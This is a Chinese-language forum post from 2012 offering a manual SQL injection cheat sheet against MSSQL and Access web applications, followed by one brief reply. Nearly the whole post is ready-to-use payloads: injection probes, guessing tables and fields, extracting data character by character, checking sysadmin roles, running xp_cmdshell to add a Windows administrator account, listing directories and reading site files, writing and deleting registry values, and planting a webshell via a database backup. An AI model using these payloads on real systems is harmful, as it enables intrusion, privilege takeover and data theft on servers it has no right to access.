找回密码
 立即注册
查看: 3162|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入 & ~7 ^& O  v  K+ s* G* g+ C" E
1.判断是否有注入;and 1=1 ;and 1=2 / ?9 Y4 E% S8 `
5 ]- v1 e: G, u: X
2.初步判断是否是mssql ;and user>0
# z- f$ X" [& f$ j5 J2 d: f
" u- f5 r+ }$ Z2 z/ }9 Q7 S: m: Y3.注入参数是字符'and [查询条件] and ''=' * p4 e) f1 }- E8 A) I, F* N/ H

! e- [6 s9 F" t" ~4.搜索时没过滤参数的'and [查询条件] and '%25'='
0 P* h" [" {) |
/ l8 J: `" R8 e  B- D, u' q5.判断数据库系统
6 @$ P+ R" ?/ l! L;and (select count(*) from sysobjects)>0 mssql
# {' {+ H# `+ p;and (select count(*) from msysobjects)>0 access
8 ~% _# M* X7 m; D& D( w- W8 W: e1 e: K- q6 X$ g
6.猜数据库 ;and (select Count(*) from [数据库名])>0
% }' Y$ \" q" t4 i& o/ Y2 [0 Y% z1 k- j$ E
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
2 G/ L+ W% y# l6 P  _9 O
; J5 a" z- N  [! U0 M' e. F8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
9 x2 S$ R; a6 M7 `* `) m' s; z5 B  `4 y  C  d- x
9.(1)猜字段的ascii值(access) 0 J/ B' V3 [3 T7 W7 A
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ! R) x3 v- G  j; ~1 V/ k- R- L
  v9 G  d3 k1 u( x2 {6 e: a7 Q
(2)猜字段的ascii值(mssql)
& w, m! |, w  u7 |8 i; V5 O;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
2 j6 r( p6 Z# G) O7 N2 {
3 J1 q$ C0 B) Y/ U7 }6 b5 l- h' }10.测试权限结构(mssql)
) p. a  ~3 u# C" S2 U) D4 I;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
5 w! n0 H) e$ ^' N4 Z. k; m;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ; e8 l- F$ [/ P& r
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ! j6 a- |3 e' a0 d5 z/ S0 B
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
' n+ u1 M  J+ I;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- - ~$ a" A; @( U+ L' H# z( K' r3 X
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
- H6 }/ _6 T! `; i2 z. i* c;and 1=(select IS_MEMBER('db_owner'));-- $ R7 ?4 I) W; ]- R# i

. M2 E1 A0 S7 W7 V11.添加mssql和系统的帐户
3 l/ o- e( M8 \6 ~; }8 T3 f;exec master.dbo.sp_addlogin username;--
; j, z- q; l9 }, A+ J" O+ m& a/ c0 h
;exec master.dbo.sp_password null,username,password;--
, f, n+ h& @: _+ |* f2 S% G5 y* E2 n1 Y9 n
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 7 o  `) F/ n( R
- ]/ w# L0 p1 i8 A" \* r# M7 @; s
;exec master.dbo.xp_cmdshell 'net user username password
" ?2 g$ R% t4 t2 ?0 G1 d/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
/ R3 [" A( Q3 Y. S
" ^) I) c9 U6 e; {;exec master.dbo.xp_cmdshell 'net user username password /add';--
/ w5 ^% T6 f& I  L+ l' m5 \2 V; ?
/ t# u! J3 J0 J9 A1 m;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
3 k5 `0 v7 b+ }6 i' i- j, E
  ]7 Y$ X7 E3 u! a- q2 N12.(1)遍历目录
: G' O' f& V4 [+ Q  f9 z5 e  T, a) J/ O! E
;create table dirs(paths varchar(100), id int)
" F7 t+ W. n+ r) k2 u;insert dirs exec master.dbo.xp_dirtree 'c:\' 1 _, F9 l# ]$ d; c2 |8 s; v* P
;and (select top 1 paths from dirs)>0
- ]6 V/ |+ F. ]) y;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
5 m: j0 N- D. {3 f; n, E) q# E7 O" E$ v
(2)遍历目录
7 q9 S" U1 |9 b, c2 K' J9 Z;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
6 A" P0 X3 l2 }3 {+ [2 Y3 ]/ G! X;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ( H, Y0 K* W5 T% F. o4 _! m
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 8 L; g5 c! ^' e7 _/ d
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ; r4 J" R; M+ r9 Y0 u, w2 U
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
2 j5 n& A3 M- N. q" u4 J( F0 v& o, i. I/ c
13.mssql中的存储过程 4 X7 V1 q$ L2 Z+ `, n% |
9 |5 O! l7 Y" a- ^
xp_regenumvalues 注册表根键, 子键
' D# `; S$ z( [2 [5 z, @;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 0 w8 P, j/ U( [, ], O1 ]
3 ]* O+ [' D% C+ C/ c/ [
xp_regread 根键,子键,键值名 ) J/ \# d* j6 H. U$ d
;exec xp_regread ( ~* L  S0 L+ _. j1 u! A
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
  m6 P2 W  C; t9 d& S% @* |7 j" G' O& W! [# i0 J! N* R" p
xp_regwrite 根键,子键, 值名, 值类型, 值
9 v* J; v) U2 L- }* I) g/ E值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
' l& {, o( e; {6 |# a. n;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
) _9 ]$ x' ]* p7 u4 ^9 T/ {& e. ?
xp_regdeletevalue 根键,子键,值名 7 h0 R# y; C8 k  c1 ]. ]) k$ W+ @
0 M* C: F! O$ H2 w5 b
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
0 p4 o% u' {$ L7 }- \3 F, m' d9 N: Z. I' h3 S
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ' v( W# C; V7 G
/ B/ C/ [5 K! @6 w3 n
14.mssql的backup创建webshell
5 l* Z( @7 r; J! S" ]use model
3 [1 l3 [, n5 S; q2 }* ^$ j( fcreate table cmd(str image); 5 J+ Z+ y5 \4 l. H" k8 d
insert into cmd(str) values (''); - B0 l! y5 G6 c- n/ u& h
backup database model to disk='c:\l.asp'; - i' n% T9 O, X# o/ z  i) U$ P/ U
* `& Y1 D; l, l3 k; G0 p4 t3 Q
15.mssql内置函数
8 l$ b2 }  d& m;and (select @@version)>0 获得Windows的版本号
0 n: w1 [1 r& h. D;and user_name()='dbo' 判断当前系统的连接用户是不是sa
+ m- ^# f/ [6 I- u  N;and (select user_name())>0 爆当前系统的连接用户
' r6 a. E5 q8 H5 B3 h( j" P;and (select db_name())>0 得到当前连接的数据库 ! @  x) o$ p0 D( t1 C" T' p

9 C3 F5 J: p- C2 s) A# D) z16.简洁的webshell ) M: B. d( d7 h2 j& u$ W, M

0 k, e, T% _  @use model
  f. C4 o, ?$ L
" x; S6 c4 k2 z! B! fcreate table cmd(str image);
/ K* v% r% Z5 j4 Q. ^9 H! s" }# h1 M
insert into cmd(str) values ('');   W+ n; k6 d; i3 ~2 S3 Y  L6 d. I
  ^1 ^: M) `! ?1 w8 J8 T
backup database model to disk='g:\wwwtest\l.asp';
, ?/ A' A$ Y% m6 Q0 a9 v0 d- z( V. v 6 U9 h, w3 B  d
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表